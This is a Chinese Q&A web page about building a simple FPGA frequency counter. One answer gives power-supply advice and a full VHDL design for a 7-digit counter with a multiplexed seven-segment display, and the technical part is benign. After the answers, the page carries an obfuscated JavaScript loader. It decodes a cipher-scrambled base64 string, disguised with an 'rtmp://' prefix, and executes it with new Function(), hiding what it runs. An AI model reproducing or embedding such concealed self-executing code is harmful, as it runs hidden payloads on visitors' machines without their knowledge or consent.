基于FPGA的简单频率计设计

2025年04月07日 12:31
有2个网友回答
网友(1):

你至少得准备两个电源——内核电源,IO口电源
内核电源,我记得应该是2.5V,IO口电源是3.3V的,如果你只是做频率计,那么LM1117提供的电流足够你用了,你可以选择LM1117电压可变版本2.5V和3.3V的,或者固定电压2.5V和3.3V的,推荐用固定电压版本的。
FPGA电源设计的关键是纹波,内核电压准备一个独立电源,纹波要滤除平稳,多并几个小电容可以;如果有PLL,那么对电压要求也是很严格的,要做好纹波的滤波工作。PLL可以通过将一个电源串上磁珠分割出来供电。至于IO口电源,虽然没有内核和PLL那么严格,但是也要做好纹波的处理。
最后,LM1117相关电路网上,数据手册给的很详细了,参考下标准电路就可以了。我就不多说了。
--功能:频率计。具有4位显示,能自动根据7位十进制计数的结果,自动选择有效数据的

--高4位进行动态显示。小数点表示是千位,即KHz。

library ieee;

use ieee.std_logic_1164.all;

use ieee.std_logic_unsigned.all;

entity plj is

port ( start:in std_logic; --复位信号

clk :in std_logic; --系统时钟

clk1:in std_logic; --被测信号

yy1:out std_logic_vector(7 downto 0); --八段码

w1 :out std_logic_vector(3 downto 0)); --数码管位选信号

end plj;

architecture behav of PLj is

signal b1,b2,b3,b4,b5,b6,b7:std_logic_vector(3 downto 0); --十进制计数器

signal bcd:std_logic_vector(3 downto 0); --BCD码寄存器

signal q :integer range 0 to 49999999; --秒分频系数

signal qq : integer range 0 to 499999; --动态扫描分频系数

signal en,bclk:std_logic; --使能信号,有效被测信号

signal sss : std_logic_vector(3 downto 0); --小数点

signal bcd0,bcd1,bcd2,bcd3 : std_logic_vector(3 downto 0);

--寄存7位十位计数器中有效的高4位数据

begin

second:process(clk) --此进程产生一个持续时间为一秒的的闸门信号

begin

if start='1' then q<=0;

elsif clk'event and clk='1' then

if q<49999999 then q<=q+1;

else q<=49999999;

end if;

end if;

if q<49999999 and start='0' then en<='1';

else en<='0';

end if;

end process;

and2:process(en,clk1) --此进程得到7位十进制计数器的计数脉冲

begin

bclk<=clk1 and en;

end process;

com:process(start,bclk) --此进程完成对被测信号计脉冲数

begin

if start='1' then --复位

b1<="0000";b2<="0000";b3<="0000";b4<="0000";b5<="0000";b6<="0000";b7<="0000";

elsif bclk'event and bclk='1' then
if b1="1001" then b1<="0000"; --此IF语句完成个位十进制计数

if b2="1001" then b2<="0000"; --此IF语句完成百位十进制计数

if b3="1001" then b3<="0000"; --此IF语句完成千位十进制计数

if b4="1001" then b4<="0000"; --此IF语句完成万位十进制计数

if b5="1001" THEN b5<="0000"; --此IF语句完成十万位十进制计数

if b6="1001" then b6<="0000"; --此IF语句完成百万位十进制计数

if b7="1001" then b7<="0000"; --此IF语句完成千万位十进制计数

else b7<=b7+1;

end if;

else b6<=b6+1;

end if;

else b5<=b5+1;

end if;

else b4<=b4+1;

end if;

else b3<=b3+1;

end if;

else b2<=b2+1;

end if;

else b1<=b1+1;

end if;

end if;

end process;

process(clk) --此进程把7位十进制计数器有效的高4位数据送如bcd0~3;并得到小数点信息

begin

if rising_edge(clk) then

if en='0' then

if b7>"0000" then bcd3<=b7; bcd2<=b6; bcd1<=b5; bcd0<=b4; sss<="1110";

elsif b6>"0000" then bcd3<=b6; bcd2<=b5; bcd1<=b4; bcd0<=b3; sss<="1101";

elsif b5>"0000" then bcd3<=b5; bcd2<=b4; bcd1<=b3; bcd0<=b2; sss<="1011";

else bcd3<=b4; bcd2<=b3; bcd1<=b2; bcd0<=b1; sss<="1111";

end if;

end if;

end if;

end process;

weixuan:process(clk) --此进程完成数据的动态显示

begin

if clk'event and clk='1' then

if qq< 99999 then qq<=qq+1;bcd<=bcd3; w1<="0111";

if sss="0111" then yy1(0)<='0';

else yy1(0)<='1';

end if;

elsif qq<199999 then qq<=qq+1;bcd<=bcd2; w1<="1011";

if sss="1011" then yy1(0)<='0';

else yy1(0)<='1';

end if;

elsif qq<299999 then qq<=qq+1;bcd<=bcd1; w1<="1101";

if sss="1101" then yy1(0)<='0';

else yy1(0)<='1';

end if;

elsif qq<399999 then qq<=qq+1;bcd<=bcd0; w1<="1110";

if sss="1110" then yy1(0)<='0';

else yy1(0)<='1';

end if;

else qq<=0;

end if;

end if;

end process;

m0: process (bcd) --译码

begin

case bcd is

when "0000"=>yy1(7 downto 1)<="0000001";

when "0001"=>yy1(7 downto 1)<="1001111";

when "0010"=>yy1(7 downto 1)<="0010010";

when "0011"=>yy1(7 downto 1)<="0000110";

when "0100"=>yy1(7 downto 1)<="1001100";

when "0101"=>yy1(7 downto 1)<="0100100";

when "0110"=>yy1(7 downto 1)<="1100000";

when "0111"=>yy1(7 downto 1)<="0001111";

when "1000"=>yy1(7 downto 1)<="0000000";

when "1001"=>yy1(7 downto 1)<="0001100";

when others=>yy1(7 downto 1)<="1111111";

end case;

end process;

end behav;

网友(2):

问题能具体点不?

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();